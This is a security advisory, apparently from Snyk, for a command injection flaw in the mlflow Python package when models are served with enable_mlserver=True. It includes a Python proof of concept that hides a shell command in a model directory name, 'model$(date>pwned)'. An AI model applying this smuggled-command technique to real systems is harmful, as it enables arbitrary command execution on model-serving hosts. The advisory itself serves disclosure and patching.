Command Injection Affecting mlflow package, versions [,3.9.0rc0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-MLFLOW-15907602
- published6 Apr 2026
- disclosed31 Mar 2026
- creditConnor Callison
Introduced: 31 Mar 2026
NewCVE-2026-0596 (opens in a new tab)How to fix?
Upgrade mlflow to version 3.9.0rc0 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Command Injection when serving models with enable_mlserver=True due to unsanitized input being embedded into a shell command. An attacker can execute arbitrary commands by supplying specially crafted model URIs containing shell metacharacters.
PoC
import os
import tempfile
import time
from mlflow.pyfunc.backend import PyFuncBackend
from mlflow.utils import env_manager as em
crafting malicious folder
pwn_path = "pwned" model_root = tempfile.mkdtemp() model_dir = os.path.join(model_root, "model$(date>pwned)")
if os.path.exists(pwn_path): os.remove(pwn_path) os.makedirs(model_dir, exist_ok=True)
legit code that gonna be exploited
selected = sorted(d for d in os.listdir(model_root) if d.startswith("model"))[0] selected_path = os.path.join(model_root, selected)
backend = PyFuncBackend(config={}, env_manager=em.LOCAL) proc = None try: proc = backend.serve( model_uri=selected_path, port=5615, host="127.0.0.1", timeout=5, enable_mlserver=True, synchronous=False, ) time.sleep(1) except Exception: pass ```